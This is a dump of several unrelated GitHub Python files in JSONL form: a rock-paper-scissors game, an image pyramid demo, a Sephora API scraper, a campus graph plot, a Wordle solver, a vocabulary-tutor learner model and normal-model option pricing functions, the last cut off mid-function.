else:\r\n print(\"Something went wrong ...\")\r\n elif Player_1 == \"paper\":\r\n if Player_2 == \"rock\":\r\n print(\"Player_1 Wins\")\r\n p1_wins += 1\r\n elif Player_2 == \"scissor\":\r\n print(\"Player_2 Wins\")\r\n p2_wins += 1\r\n else:\r\n print(\"Something went wrong ...\")\r\n else:\r\n print(\"Something went wrong ...\")\r\n if p1_wins == win_score or p2_wins == win_score:\r\n if p1_wins > p2_wins:\r\n print(\"Player_1 Wins the match !!!\")\r\n elif p2_wins > p1_wins:\r\n print(\"Player_2 Wins the match !!!\")\r\n elif p2_wins == p1_wins:\r\n print(\"the match ended with a Tie !!!\")\r\n print(f\"Player_1 score : {p1_wins} Player_2 score : {p2_wins}\")\r\n else:\r\n print(\"something went wrong\")\r\n\r\n a = input(\"Again ? (Y/N)\").lower()\r\n","repo_name":"Samuel-X124/rock-paper-scissor","sub_path":"rockScissorPaperEnhanced.py","file_name":"rockScissorPaperEnhanced.py","file_ext":"py","file_size_in_byte":5440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40011183101","text":"import cv2\n\nimgs = [cv2.imread(\"\")]\nfor _ in range(3):\n r = cv2.pyrDown(imgs[-1])\n imgs.append(r)\nfor (i, img) in enumerate(imgs):\n cv2.imshow(\"view_%d\" % i, img)\n\ncv2.waitKey()\n","repo_name":"nhomble/hiccup","sub_path":"bin/demo/pyr.py","file_name":"pyr.py","file_ext":"py","file_size_in_byte":204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34395931775","text":"# Import Modules\nimport numpy as np\nimport copy\nimport pandas as pd\nfrom itertools import count\nimport time\nimport lxml\nimport html\nimport json\nimport requests\nimport requests_html as reqHTML\nimport urllib.parse as urllib\nfrom bs4 import BeautifulSoup\nfrom pprint import pprint\n\n \n\n\ndef construct_sephora_req(search_term:str='moisturizer', page_num:int=1) -> dict:\n '''Given the category, page number and meta data, constructs page link for use with requests.get\n \n Use in conjunction with async scraping functions\n Default set to moisturizers\n '''\n res = {}\n # Construct link\n base_link = 'https://www.sephora.com/api/catalog/search?'\n payload = {\n 'type' : 'keyword',\n 'q' : search_term,\n 'currentPage' : page_num\n }\n \n # Add results to res to use as kwarg\n res['url'] = base_link\n res['params'] = payload \n\n return res\n\n\ndef get_api_json(req_params:dict, return_json:bool=True) -> dict:\n '''Given the \n '''\n res = None\n # Check link\n if req_params:\n try:\n response = requests.get(**req_params)\n res = response.json() if return_json else response\n except requests.exceptions.RequestException as e:\n print(e)\n \n return res\n\n\nasync def get_page_html(page_link:str='', html_element:bool=True) -> lxml.html.Element:\n '''Given the URL of a JS rendered webpage, function will return the raw html from page in bytes format\n \n Must use 'await' command with function, setting html_element to True will return html.Element object, otherwise will return html page in bytes\n '''\n res = None\n # Check link\n if page_link:\n try:\n # Start Session\n asession = reqHTML.AsyncHTMLSession()\n # Request Page\n r = await asession.get(page_link, headers={'User-Agent': 'Mozilla/5.0'})\n await r.html.arender()\n res = lxml.html.fromstring(r.html.raw_html) if html_element else r\n except requests.exceptions.RequestException as e:\n print(e)\n \n return res\n\ndef get_pagnation_num(html_page:lxml.html.Element, pagnation_xpath:str=None) -> int:\n '''Given the html.Element object returned from get_page_html, returns max pagnation for product category'''\n res = None\n if not pagnation_xpath:\n # Set default pagnation xpath for sephora.com \n pagnation_xpath = '/html/body/div[1]/div[2]/div/div/div/div[2]/div[1]/main/div[3]/div/div[3]/div[2]/nav/ul/li[6]/button'\n \n try:\n element_list = html_page.xpath(pagnation_xpath)\n if element_list:\n res = int(element_list[0].text)\n except:\n pass\n return res\n \n ","repo_name":"boogiedev/smooth-sailor-v2","sub_path":"src/scraping_funcs.py","file_name":"scraping_funcs.py","file_ext":"py","file_size_in_byte":2709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"139131469","text":"import networkx as nx\nimport matplotlib.pyplot as plt\nfrom classes.bfs import BfsTraverser\nG = nx.Graph()\nnodes=[\"SportsComplex\",\"Siwaka\",\"PH.1A\",\"PH.1B\",\"STC\",\"Phase2\",\"ParkingLot\",\"Phase3\",\"J1\",\"Mada\"]\nG.add_nodes_from(nodes)\nG.nodes()#confirm nodes\n#Add Edges and their weights\nG.add_edge(\"SportsComplex\",\"Siwaka\",weight=\"450\")\nG.add_edge(\"Siwaka\",\"PH.1A\",weight=\"10\")\nG.add_edge(\"PH.1A\",\"PH.1B\",weight=\"100\")\nG.add_edge(\"Siwaka\",\"PH.1B\",weight=\"230\")\nG.add_edge(\"PH.1B\",\"STC\",weight=\"50\")\nG.add_edge(\"PH.1B\",\"Phase2\",weight=\"112\")\nG.add_edge(\"STC\",\"Phase2\",weight=\"50\")\nG.add_edge(\"Phase2\",\"J1\",weight=\"600\")\nG.add_edge(\"Phase2\",\"Phase3\",weight=\"500\")\nG.add_edge(\"Phase3\",\"ParkingLot\",weight=\"350\")\nG.add_edge(\"J1\",\"Mada\",weight=\"200\")\nG.add_edge(\"ParkingLot\",\"Mada\",weight=\"700\")\nG.add_edge(\"PH.1A\",\"Mada\",weight=\"850\")\n\n\n#nodes=[\"SportsComplex\",\"Siwaka\",\"PH.1A\",\"PH.1B\",\"STC\",\"Phase2\",\"ParkingLot\",\"Phase3\",\"J1\",\"Mada\"]\n\n\n#position the nodes to resemble Madaraka's map\nG.nodes[\"SportsComplex\"]['pos']=(0,600)\nG.nodes[\"Siwaka\"]['pos']=(100,600)\nG.nodes[\"PH.1A\"]['pos']=(200,600)\nG.nodes[\"PH.1B\"]['pos']=(200,400)\nG.nodes[\"STC\"]['pos']=(200,200)\nG.nodes[\"Phase2\"]['pos']=(300,400)\nG.nodes[\"ParkingLot\"]['pos']=(400,0)\nG.nodes[\"Phase3\"]['pos']=(400,200)\nG.nodes[\"J1\"]['pos']=(400,400)\nG.nodes[\"Mada\"]['pos']=(500,400)\n#store all positions in a variable\nnode_pos = nx.get_node_attributes(G,'pos')\narc_weight=nx.get_edge_attributes(G,'weight')\npos = nx.spring_layout(G, k=0.5, iterations=20)\nnx.draw_networkx(G, node_pos,with_labels = True, node_color= 'red', node_size=1500,font_size=6)\nnx.draw_networkx_edge_labels(G, node_pos, edge_labels=arc_weight)\nplt.axis('off')\nplt.show()\n\n","repo_name":"mandem296/AI-ML-Group-Task","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74668752572","text":"import numpy\r\nimport string\r\nimport random\r\n\r\nalphabet_string = string.ascii_lowercase\r\ndef alphabet_dict():\r\n return [{char:0 for char in alphabet_string}]*5\r\n\r\ndef best_word(word_list, possible_words, guessed_words, yellow_memory, green_memory):\r\n if len(possible_words) == 1:\r\n return possible_words[0]\r\n\r\n adict = alphabet_dict()\r\n for word in possible_words:\r\n already = False\r\n for i in range(0, len(word)):\r\n l = word[i]\r\n for letter in adict[i].keys():\r\n if letter == l:\r\n if already:\r\n adict[i][letter] += 0.25\r\n else:\r\n adict[i][letter] += 1\r\n already = True\r\n\r\n max_score = 0\r\n best_word = possible_words[0]\r\n for word in word_list:\r\n score = 0\r\n\r\n for i in range(0, len(word)):\r\n letter = word[i]\r\n if not letter in yellow_memory[i]:\r\n if letter in word[:i]:\r\n score += get_letter_value(adict, letter, i, len(possible_words)) * 0.1\r\n else:\r\n score += get_letter_value(adict, letter, i, len(possible_words))\r\n if letter in green_memory[i]:\r\n if len(possible_words) <= 3:\r\n score += 5 * get_letter_value(adict, letter, i, len(possible_words)) / len(possible_words)\r\n else:\r\n score += get_letter_value(adict, letter, i, len(possible_words))\r\n if score > max_score and word not in guessed_words:\r\n max_score = score\r\n best_word = word\r\n\r\n return best_word\r\n\r\ndef get_letter_value(adict, letter, position, words_left):\r\n return 1.25 * adict[position][letter] + sum((adict[i][letter] for i in range(0, len(adict))))\r\n #return adict[position][letter]//float(words_left) + -1*((sum((adict[i][letter] for i in range(0, len(adict))))/float(words_left))-.5)**2 + .25\r\n\r\ndef clean(guess, info, possible_words, yellow_memory, green_memory):\r\n not_in_word = []\r\n correct_slot = {}\r\n incorrect_slot = {}\r\n valid = False\r\n possible_words = numpy.delete(possible_words, numpy.where(possible_words == guess))\r\n while not valid:\r\n if info == None:\r\n info = input(\"Please input guess results (ex. bbgby): \")\r\n if len(info) != 5:\r\n print(\"Please enter a string 5 characters long!\")\r\n continue\r\n valid = True\r\n for i in range(0, len(guess)):\r\n result = info[i]\r\n if result == \"b\":\r\n not_in_word.append(guess[i])\r\n elif result == \"g\":\r\n correct_slot[i] = guess[i]\r\n green_memory[i] += guess[i]\r\n elif result == \"y\":\r\n incorrect_slot[i] = guess[i]\r\n yellow_memory[i] += guess[i]\r\n else:\r\n info = None\r\n valid = False\r\n\r\n i = 0\r\n cap = len(possible_words)\r\n while i < cap:\r\n delete = False\r\n word = possible_words[i]\r\n for j in range(0, len(word)):\r\n letter = word[j]\r\n if j in correct_slot.keys() and letter != correct_slot[j]:\r\n delete = True\r\n elif j in incorrect_slot.keys() and letter == incorrect_slot[j]:\r\n delete = True\r\n if letter in not_in_word:\r\n delete = True\r\n if delete:\r\n possible_words = numpy.delete(possible_words, i)\r\n cap -= 1\r\n break\r\n if not delete:\r\n for letter in incorrect_slot.values():\r\n if not letter in word:\r\n delete = True\r\n possible_words = numpy.delete(possible_words, i)\r\n cap -= 1\r\n break\r\n if not delete:\r\n i += 1\r\n return possible_words\r\n\r\ndef get_feedback(guess, answer):\r\n feedback = \"\"\r\n for i in range(0, len(guess)):\r\n if guess[i] == answer[i]:\r\n feedback += \"g\"\r\n elif guess[i] in answer:\r\n feedback += \"y\"\r\n else:\r\n feedback += \"b\"\r\n return feedback\r\n\r\ndef load_words():\r\n fans = open(\"answers.txt\", \"r\")\r\n fall = open(\"allowed.txt\", \"r\")\r\n word_list = numpy.concatenate((fans.read().splitlines(), fall.read().splitlines()))\r\n fans.close()\r\n fall.close()\r\n return word_list\r\n\r\ndef solve_auto(answer):\r\n word_list = load_words()\r\n possible_words = numpy.copy(word_list)\r\n\r\n print(\"Answer in advance:\", answer)\r\n guessed_words = []\r\n yellow_memory = {i:\"\" for i in range(0, len(answer))}\r\n green_memory = {i:\"\" for i in range(0, len(answer))}\r\n while len(guessed_words) == 0 or guessed_words[-1] != answer:\r\n guess = best_word(word_list, possible_words, guessed_words, yellow_memory, green_memory)\r\n guessed_words.append(guess)\r\n print(\"Guessing\", guess.upper() + \"...\")\r\n feedback = get_feedback(guess, answer)\r\n print(\"Feedback:\", feedback, \"(\" + str(len(possible_words)) + \" possibilities)\")\r\n possible_words = clean(guess, feedback, possible_words, yellow_memory, green_memory)\r\n print(\"Successfully narrowed search to\", len(possible_words), \"words.\")\r\n print(\"The word is\", answer, \"(\" + str(len(guessed_words)) + \" guesses)\", \"\\n--------------------------\")\r\n return len(guessed_words)\r\n\r\ndef solve_manual():\r\n word_list = load_words()\r\n possible_words = numpy.copy(word_list)\r\n length = 5\r\n\r\n guessed_words = []\r\n yellow_memory = {i:\"\" for i in range(0, length)}\r\n green_memory = {i:\"\" for i in range(0, length)}\r\n while len(possible_words) > 1:\r\n guess = best_word(word_list, possible_words, guessed_words, yellow_memory, green_memory)\r\n guessed_words.append(guess)\r\n print(\"Guessing\", guess.upper() + \"...\")\r\n possible_words = clean(guess, None, possible_words, yellow_memory, green_memory)\r\n if (len(possible_words)) == 1:\r\n print(possible_words)[0]\r\ndef gen_test_set():\r\n fans = open(\"answers.txt\", \"r\")\r\n randos = random.sample(fans.read().splitlines(), 100)\r\n fans.close()\r\n return randos\r\n\r\ndef run_test_set():\r\n ftest = open(\"testset.txt\", \"r\")\r\n test_set = ftest.read().splitlines()\r\n total = 0\r\n for word in test_set:\r\n total += solve_auto(word)\r\n avg = total / float(len(test_set))\r\n print(avg)\r\n\r\n\r\nrun_test_set()\r\nsolve_manual()\r\n# solve_auto(\"crane\")","repo_name":"Emmet-exe/wordletree","sub_path":"wordling.py","file_name":"wordling.py","file_ext":"py","file_size_in_byte":6505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32046537010","text":"\"\"\"\nModule to model the user learning and logic around it.\n\n:author: Haemanth Santhi Ponnusamy \n\"\"\"\n\nimport pickle\nimport random\nimport numpy as np\nimport networkx as nx\n\nfrom vocabby.bookshelf import Book\n\n\nclass Learner(object):\n def __init__(self, name, level=3):\n self.name = name\n self.difficulty_level = level\n self.tutors = {}\n\n def add_book(self, book):\n self.tutors.update({book.code: Tutor(self, book)})\n\n @staticmethod\n def load(learner_id):\n try:\n with open('data/learners/' + learner_id + '.p', 'rb') as learner_file:\n learner = pickle.load(learner_file)\n except FileNotFoundError:\n learner = Learner(learner_id)\n return learner\n\n def save(self):\n with open('data/learners/' + self.name + '.p', 'wb') as learner_file:\n pickle.dump(self, learner_file)\n\n def get_tutor(self, book_code):\n \"\"\"Return the tutors corresponding to book or hire one.\"\"\"\n\n if book_code not in self.tutors:\n book = Book.load(book_code)\n self.add_book(book)\n\n return self.tutors[book_code]\n\n\nclass Tutor(object):\n \"\"\"\"\"\"\n def __init__(self, learner, book):\n self.learner = learner\n self.book = book\n self.sessions = []\n # self.mastery = {w: 0.5 for w in self.book.words}\n self.network = self.book.network\n\n @property\n def progress(self):\n mastered_count = sum([1 for node in self.network if self.network.nodes[node][\"mastery\"] > 0.8])\n return (mastered_count *100) / len(self.network)\n\n def new_session(self):\n critical_nodes = self.get_critical_nodes()\n self.sessions.append(Session(self, critical_nodes))\n\n def update(self, token, response):\n sign = 1 if response else -1\n step = 0.3\n factor = 1 + (sign * step)\n self.network.nodes[token.root]['mastery'] = min(\n 0.99, self.network.nodes[token.root]['mastery'] * factor)\n\n for neigh in self.network.neighbors(token.root):\n weight = self.network[token.root][neigh]['weight']\n factor = 1 + (sign * step * 0.5 * weight)\n self.network.nodes[neigh]['mastery'] = min(\n 0.99, self.network.nodes[neigh]['mastery'] * factor)\n\n def get_critical_nodes(self):\n # TODO: Update with proper implementation\n print(\"\\n\\n\\nNew mode of gettig critical nodes \\n\\n\\n\")\n candidates = []\n # centrality_scores = list(nx.betweenness_centrality(self.network, k= int(len(self.network.nodes)/10), weight=\"weight\").items())\n # centrality_scores = list(nx.betweenness_centrality(self.network, weight=\"weight\").items())\n\n for node in self.network:\n extrensic_score = sum([v['weight'] for k, v in self.network[node].items()])\n candidates.append((node, extrensic_score))\n\n # Use internsic measure to decide a critical node\n # intrensic_score = self.book.families[node].complexity\n # candidates.append((node, extrensic_score * intrensic_score))\n\n # n_choice = np.random.choice(len(families), 20)\n # n_choice = sorted(candidates, key=lambda x: -x[1])[20:35]\n n_choice = sorted(candidates, key=lambda x: -x[1])\n # n_choice = sorted(centrality_scores, key=lambda x: -x[1])\n return [self.book.families[node] for node, score in n_choice if self.network.nodes[node]['mastery'] < 0.8][:20]\n\n def get_session(self):\n \"\"\"Returns a active/incomplete session or a new session.\"\"\"\n if not(self.sessions and len(self.sessions[-1].queue)):\n self.new_session()\n return self.sessions[-1]\n\n def get_graph_for_viz(self):\n \"\"\"Loads the processed book from shelf.\"\"\"\n\n # Building the entire graph for visualization\n node_list = {name: idx for idx, name in enumerate(self.network.nodes)}\n sorted_node_list = sorted(node_list.items(), key=lambda x: x[1])\n active_session = self.get_session()\n print(sorted_node_list[:5])\n nodes = [{'id': node_list[token],\n 'name': token,\n 'score':self.network.nodes[token]['mastery'],\n 'child': False,\n 'critical': token in list(active_session.tokens.keys())}\n for token, _ in sorted_node_list]\n print('Node list:', nodes[:5])\n edges = []\n for source, target, attrb in self.network.edges.data():\n if attrb['weight'] < 0.4: ######!!!!! ORIGINAL 0.6 ############\n continue\n edges.append({\"source\": node_list[source],\n \"target\": node_list[target],\n \"weight\": attrb['weight']})\n\n children = []\n child_edges = []\n families = {}\n for parent in nodes:\n families[parent['id']] = set()\n family = self.book.families.get(parent['name'], {})\n if not family:\n print(\"No family for \", parent['name'])\n print(parent)\n break\n for child in family.members:\n child_pos = len(nodes) + len(children)\n children.append({'id': child_pos,\n 'name': child.text + \"_\" + child.pos,\n 'score': parent['score'],\n 'child': True})\n child_edges.append({\"source\": parent['id'],\n \"target\": child_pos,\n \"weight\": 1})\n families[parent['id']].add(child_pos)\n\n neighbourhood = {\"nodes\": nodes + children, \"links\": edges + child_edges, \"families\": families}\n neighbourhoodwc = {\"nodes\": nodes, \"links\": edges, \"families\": families}\n\n # Raffael: Save neighborhood dict for analysis\n with open(\"C:/Users/raffa/Desktop/Masterarbeit_Vocabby/Vocabby/backend/neighbourhood_biologie.pickle\", 'wb') as fi:\n pickle.dump(neighbourhood, fi)\n\n with open(\"C:/Users/raffa/Desktop/Masterarbeit_Vocabby/Vocabby/backend/neighbourhood_biologie_wc.pickle\", 'wb') as fi:\n pickle.dump(neighbourhoodwc, fi)\n\n # Generate Graph\n\n G = nx.Graph() \n\n # iterate through nodes and corresponding edges\n for link in neighbourhood['links']:\n \n node = neighbourhood['nodes'][link['source']]['name'] # gives us name of node from id\n edge = neighbourhood['nodes'][link['target']]['name']\n G.add_edge(node, edge, weight=link['weight']) # This is the final graph\n\n with open(\"C:/Users/raffa/Desktop/Masterarbeit_Vocabby/Vocabby/backend/graph_spacyff.pickle\", 'wb') as fi:\n pickle.dump(G, fi)\n\n\n return neighbourhood, neighbourhoodwc\n\n\nclass Session(object):\n def __init__(self, tutor, tokens):\n self.tutor = tutor\n self.book = self.tutor.book\n self.network = self.book.network\n self.tokens = {t.root: t for t in tokens}\n self.queue = list(self.tokens.keys())\n self.answers = {}\n # Prevent regeneration of new activity\n self.activity_cache = {}\n\n def _create_activity(self, family, activity_type):\n \"\"\"\"\"\"\n if activity_type == 0:\n word = np.random.choice(family.members)\n\n # For German the words have to be matched in upper case;\n # TODO: Look at families and upper/lower case distinction\n all_sentences = list(\n s.replace(word.text, '______') for s in word.get_sentences())\n\n for s in word.get_sentences():\n print(\"Sentence: \", s)\n print(word.text)\n # random.shuffle(all_sentences)\n sentences = all_sentences[:3]\n \n distractor_objs = self._get_distractors(family, word.pos) + [word]\n np.random.shuffle(distractor_objs)\n distractors = [d.text for d in distractor_objs]\n activity_id = random.randint(1000, 100000)\n self.answers.update(\n {activity_id:\n {\"answer\": distractors.index(word.text),\n \"family\": family,\n \"distractors\": distractor_objs,\n \"activityType\": activity_type}})\n return {\"sentences\": sentences,\n \"options\": distractors,\n \"activityType\": activity_type,\n \"activityId\": activity_id}\n\n elif activity_type == 1:\n word = np.random.choice(family.members)\n sentences = [random.choice(list(\n set(s.replace(word.text, '______')\n for s in word.get_sentences()[:3])))]\n character_mix = list(word.text)\n random.shuffle(character_mix)\n activity_id = random.randint(1000, 100000)\n self.answers.update(\n {activity_id:\n {\"answer\": word.text,\n \"family\": family,\n \"activityType\": activity_type}})\n return {\"sentences\": sentences,\n \"options\": character_mix,\n \"activityType\": activity_type,\n \"activityId\": activity_id}\n\n def _get_distractors(self, family, pos):\n \"\"\"Select good set of distractors\"\"\"\n\n candidates = {}\n for n1, attrb1 in self.network[family.root].items():\n wt1 = attrb1['weight']\n candidates.update({n1: wt1})\n for n2, attrb2 in self.network[n1].items():\n if n2 == family.root:\n continue\n\n wt2 = attrb2['weight'] * wt1\n wt2 = max(candidates.get(n2, 0), wt2)\n candidates.update({n2: wt2})\n\n # Sort the neighbor based on context similarity\n neighbors = sorted(candidates.items(), key=lambda x: -x[1])\n return [self._select_family_member(self.book.families[w], pos)\n for w, wt in neighbors if wt < 0.65][:3]\n #for w, wt in neighbors if wt < 0.8][:3] original\n\n def _select_family_member(self, family, pos):\n \"\"\"Select a word of given POS tag from family if any.\"\"\"\n for word in family.members:\n if word.pos == pos:\n return word\n return np.random.choice(family.members)\n\n def candidate_neighbours(self):\n # TODO: Get 2 level neighbours\n neighbourhood = []\n for token in self.tokens:\n edges = []\n nodes = [{'id': 0, 'name': token,\n \"score\": self.network.nodes[token]['mastery']}]\n\n count = 0\n for neighbour in self.network[token]:\n if self.network[token][neighbour]['weight'] < 0.7:\n continue\n count += 1\n nodes.append({\"id\": count, \"name\": neighbour,\n \"score\": self.network.nodes[token]['mastery']})\n edges.append({\"source\": 0, \"target\": count})\n neighbourhood.append({\"nodes\": nodes, \"links\": edges})\n print(neighbourhood[0])\n\n return neighbourhood\n\n def _activity_selector(self, word):\n # TODO: Improve activity selection based on student progress\n if len(word) >= 5:\n return 0\n else:\n return random.choice([0, 1])\n\n def next_acitivity(self):\n if self.activity_cache:\n return self.activity_cache\n\n if self.queue:\n word = self.queue[0]\n activity_type = self._activity_selector(word)\n self.activity_cache = self._create_activity(\n self.tokens[word], activity_type)\n return self.activity_cache\n else:\n return {\"activityType\": '-1'}\n\n def update(self, family, response):\n if family.root == self.queue[0]:\n word = self.queue.pop(0)\n if not response:\n self.queue.append(word)\n self.tutor.update(family, response)\n\n def evaluate(self, activity_id, selection):\n self.activity_cache = {}\n activity_type = self.answers[activity_id][\"activityType\"]\n\n is_correct = self.answers[activity_id]['answer'] == selection\n self.update(self.answers[activity_id]['family'], is_correct)\n result = {'isCorrect': is_correct,\n 'remaining': len(self.queue)}\n\n if not is_correct:\n feedback_sentence = ''\n if activity_type == 0:\n wrong_word = self.answers[\n activity_id]['distractors'][selection]\n # feedback_sentence = random.choice(wrong_word.get_sentences())\n feedback_sentence = wrong_word.get_sentences()[0]\n result.update({'feedback': feedback_sentence})\n return result\n","repo_name":"raffa-dev/vocabby_da","sub_path":"Vocabby/backend/vocabby/learner.py","file_name":"learner.py","file_ext":"py","file_size_in_byte":12924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12508343267","text":"\"\"\"\nkey analytics for Black Scholes Merton pricer and implied volatilities\n\"\"\"\n\nimport numpy as np\nfrom numba import njit\nfrom typing import Union, Tuple\nfrom numba.typed import List\nfrom scipy.stats import norm\n\nfrom stochvolmodels.utils.funcs import ncdf, npdf\n\n\n@njit(cache=False, fastmath=True)\ndef compute_normal_price(forward: float,\n strike: float,\n ttm: float,\n vol: float,\n discfactor: float = 1.0,\n optiontype: str = 'C'\n ) -> float:\n \"\"\"\n bsm pricer for forward\n \"\"\"\n sdev = forward*vol*np.sqrt(ttm)\n d = (forward - strike) / sdev\n if optiontype == 'C' or optiontype == 'IC':\n price = discfactor * ((forward-strike) * ncdf(d) + sdev * npdf(d))\n elif optiontype == 'P' or optiontype == 'IP':\n price = discfactor * ((forward - strike) * (ncdf(d)-1.0) + sdev * npdf(d))\n else:\n raise NotImplementedError(f\"optiontype\")\n\n return price\n\n\n@njit(cache=False, fastmath=True)\ndef compute_normal_slice_prices(ttm: float,\n forward: float,\n strikes: np.ndarray,\n vols: np.ndarray,\n optiontypes: np.ndarray,\n discfactor: float = 1.0\n ) -> np.ndarray:\n \"\"\"\n vectorised bsm deltas for array of aligned strikes, vols, and optiontypes\n \"\"\"\n def f(strike: float, vol: float, optiontype: str) -> float:\n return compute_normal_price(forward=forward,\n ttm=ttm,\n vol=vol,\n strike=strike,\n optiontype=optiontype,\n discfactor=discfactor)\n normal_prices = np.zeros_like(strikes)\n for idx, (strike, vol, optiontype) in enumerate(zip(strikes, vols, optiontypes)):\n normal_prices[idx] = f(strike, vol, optiontype)\n return normal_prices\n\n\ndef compute_normal_delta_to_strike(ttm: float,\n forward: float,\n delta: float,\n vol: float\n ) -> Union[float, np.ndarray]:\n \"\"\"\n bsm deltas for strikes and vols\n \"\"\"\n inv_delta = norm.ppf(delta) if delta > 0.0 else norm.ppf(1.0+delta)\n sdev = forward * vol * np.sqrt(ttm)\n strike = forward - sdev*inv_delta\n return strike\n\n\n@njit(cache=False, fastmath=True)\ndef compute_normal_delta_from_lognormal_vol(ttm: float,\n forward: float,\n strike: float,\n given_price: float,\n optiontype: str,\n discfactor: float = 1.0\n ) -> float:\n if np.abs(ttm) < 1e-12:\n if optiontype == 'C' and forward > strike:\n delta = 1.0\n elif optiontype == 'P' and forward < strike:\n delta = -1.0\n else:\n delta = 0.0\n else:\n normal_vol = infer_normal_implied_vol(forward=forward, ttm=ttm, strike=strike,\n given_price=given_price, optiontype=optiontype, discfactor=discfactor)\n delta = compute_normal_delta(ttm=ttm, forward=forward, strike=strike, vol=normal_vol,\n optiontype=optiontype, discfactor=discfactor)\n return delta\n\n\n@njit(cache=False, fastmath=True)\ndef compute_normal_delta(ttm: float,\n forward: float,\n strike: float,\n vol: float,\n optiontype: str,\n discfactor: float = 1.0\n ) -> float:\n \"\"\"\n bsm deltas for strikes and vols\n \"\"\"\n sdev = forward * vol * np.sqrt(ttm)\n d = (forward - strike) / sdev\n if optiontype == 'C':\n normal_delta = discfactor * ncdf(d)\n elif optiontype == 'P':\n normal_delta = - discfactor * ncdf(-d)\n else:\n normal_delta = np.nan\n return normal_delta\n\n\n@njit(cache=False, fastmath=True)\ndef compute_normal_slice_deltas(ttm: Union[float, np.ndarray],\n forward: Union[float, np.ndarray],\n strikes: Union[float, np.ndarray],\n vols: Union[float, np.ndarray],\n optiontypes: Union[np.ndarray],\n discfactor: float = 1.0\n ) -> Union[float, np.ndarray]:\n \"\"\"\n bsm deltas for strikes and vols\n \"\"\"\n sdev = forward * vols * np.sqrt(ttm)\n d = (forward - strikes) / sdev\n d1_sign = np.where(np.array([op == 'C' for op in optiontypes]), 1.0, -1.0)\n normal_deltas = discfactor * d1_sign * ncdf(d1_sign * d)\n return normal_deltas\n\n\n@njit(cache=False, fastmath=True)\ndef compute_normal_deltas_ttms(ttms: np.ndarray,\n forwards: np.ndarray,\n strikes_ttms: Tuple[np.ndarray, ...],\n vols_ttms: Tuple[np.ndarray,...],\n optiontypes_ttms: Tuple[np.ndarray, ...],\n ) -> List[np.ndarray]:\n \"\"\"\n vectorised bsm deltas for array of aligned strikes, vols, and optiontypes\n \"\"\"\n deltas_ttms = List()\n for ttm, forward, vols_ttm, strikes_ttm, optiontypes_ttm in zip(ttms, forwards, vols_ttms, strikes_ttms, optiontypes_ttms):\n deltas_ttms.append(compute_normal_slice_deltas(ttm=ttm, forward=forward, strikes=strikes_ttm, vols=vols_ttm, optiontypes=optiontypes_ttm))\n return deltas_ttms\n\n\n@njit(cache=False, fastmath=True)\ndef compute_normal_slice_vegas(ttm: float,\n forward: float,\n strikes: np.ndarray,\n vols: np.ndarray,\n optiontypes: np.ndarray = None\n ) -> np.ndarray:\n \"\"\"\n vectorised bsm vegas for array of aligned strikes, vols, and optiontypes\n \"\"\"\n sdev = forward*vols * np.sqrt(ttm)\n d = (forward - strikes) / sdev\n vegas = forward * npdf(d) * np.sqrt(ttm)\n return vegas\n\n\n@njit(cache=False, fastmath=True)\ndef compute_normal_vegas_ttms(ttms: np.ndarray,\n forwards: np.ndarray,\n strikes_ttms: Tuple[np.ndarray, ...],\n vols_ttms: Tuple[np.ndarray,...],\n optiontypes_ttms: Tuple[np.ndarray, ...],\n ) -> List[np.ndarray]:\n \"\"\"\n vectorised bsm vegas for array of aligned strikes, vols, and optiontypes\n \"\"\"\n vegas_ttms = List()\n for ttm, forward, vols_ttm, strikes_ttm, optiontypes_ttm in zip(ttms, forwards, vols_ttms, strikes_ttms, optiontypes_ttms):\n vegas_ttms.append(compute_normal_slice_vegas(ttm=ttm, forward=forward, strikes=strikes_ttm, vols=vols_ttm, optiontypes=optiontypes_ttm))\n return vegas_ttms\n\n\n@njit(cache=False, fastmath=True)\ndef infer_normal_implied_vol(forward: float,\n ttm: float,\n strike: float,\n given_price: float,\n discfactor: float = 1.0,\n optiontype: str = 'C',\n tol: float = 1e-12,\n is_bounds_to_nan: bool = False\n ) -> float:\n \"\"\"\n compute normal implied vol\n \"\"\"\n x1, x2 = 0.01, 10.0 # starting values\n f = compute_normal_price(forward=forward, strike=strike, ttm=ttm, vol=x1, discfactor=discfactor, optiontype=optiontype) - given_price\n fmid = compute_normal_price(forward=forward, strike=strike, ttm=ttm, vol=x2, discfactor=discfactor, optiontype=optiontype) - given_price\n\n if f*fmid < 0.0:\n if f < 0.0:\n rtb = x1\n dx = x2-x1\n else:\n rtb = x2\n dx = x1-x2\n xmid = rtb\n for j in range(0, 100):\n dx = dx*0.5\n xmid = rtb+dx\n fmid = compute_normal_price(forward=forward, strike=strike, ttm=ttm, vol=xmid, discfactor=discfactor, optiontype=optiontype) - given_price\n if fmid <= 0.0:\n rtb = xmid\n if np.abs(fmid) < tol:\n break\n v1 = xmid\n\n else:\n if f < 0:\n v1 = x1\n else:\n v1 = x2\n\n if is_bounds_to_nan: # in case vol was inferred it will return nan\n if np.abs(v1-x1) < tol or np.abs(v1-x2) < tol:\n v1 = np.nan\n return v1\n\n\n@njit(cache=False, fastmath=True)\ndef infer_normal_ivols_from_model_slice_prices(ttm: float,\n forward: float,\n strikes: np.ndarray,\n optiontypes: np.ndarray,\n model_prices: np.ndarray,\n discfactor: float\n ) -> np.ndarray:\n model_vol_ttm = np.zeros_like(strikes)\n for idx, (strike, model_price, optiontype) in enumerate(zip(strikes, model_prices, optiontypes)):\n model_vol_ttm[idx] = infer_normal_implied_vol(forward=forward, ttm=ttm, discfactor=discfactor,\n given_price=model_price,\n strike=strike,\n optiontype=optiontype)\n return model_vol_ttm\n\n\n@njit(cache=False, fastmath=True)\ndef infer_normal_ivols_from_slice_prices(ttm: float,\n forward: float,\n discfactor: float,\n strikes: np.ndarray,\n optiontypes: np.ndarray,\n model_prices: np.ndarray\n ) -> List:\n \"\"\"\n vectorised chain ivols\n \"\"\"\n model_vol_ttm = np.zeros_like(strikes)\n for idx, (strike, model_price, optiontype) in enumerate(zip(strikes, model_prices, optiontypes)):\n 